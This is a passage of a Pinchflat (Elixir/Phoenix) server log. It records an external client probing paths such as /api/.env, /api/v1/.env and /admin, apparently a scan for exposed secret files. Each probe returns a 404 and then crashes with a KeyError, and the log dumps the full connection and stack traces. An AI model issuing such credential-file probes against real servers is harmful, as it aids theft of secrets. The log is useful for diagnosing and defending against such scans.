:phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-bmv-9D2HRQAANuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3175.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49442}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3175.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49442}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3176.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:38.828 [info] GET /api/v1/.env 21:08:38.829 [debug] QUERY OK source="settings" db=0.2ms idle=155.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.829 [debug] QUERY OK source="settings" db=0.2ms idle=88.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.829 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.830 [error] #PID<0.3178.0> running PinchflatWeb.Endpoint (connection #PID<0.3177.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/v1/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3177.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49448}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3178.0>, params: %{}, path_info: ["api", "v1", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/v1/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-bvWKdaRX30AANwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3177.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49448}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3177.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49448}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3178.0>, params: %{}, path_info: ["api", "v1", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-f (truncated) 21:08:38.867 [info] GET /api/v2/.env 21:08:38.868 [debug] QUERY OK source="settings" db=0.2ms idle=126.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.868 [debug] QUERY OK source="settings" db=0.2ms idle=75.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:38.868 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:38.869 [error] #PID<0.3180.0> running PinchflatWeb.Endpoint (connection #PID<0.3179.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/v2/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3179.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49454}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3180.0>, params: %{}, path_info: ["api", "v2", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/v2/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-b4n_fjl6CcAANyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3179.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49454}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3179.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49454}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3180.0>, params: %{}, path_info: ["api", "v2", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-f (truncated) 21:08:39.382 [info] GET /admin 21:08:39.383 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=553.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.383 [debug] QUERY OK source="settings" db=0.2ms idle=553.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.384 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.384 [error] #PID<0.3182.0> running PinchflatWeb.Endpoint (connection #PID<0.3181.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /admin ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49460}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3182.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/admin", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-dzWU5lGyEwAAN0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49460}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3181.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49460}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3182.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user (truncated) 21:08:39.412 [info] GET /api/shared/.env 21:08:39.413 [debug] QUERY OK source="settings" db=0.3ms idle=544.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.413 [debug] QUERY OK source="settings" db=0.2ms idle=544.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:39.413 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:39.414 [error] #PID<0.3184.0> running PinchflatWeb.Endpoint (connection #PID<0.3183.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/shared/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3183.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/.env", host: 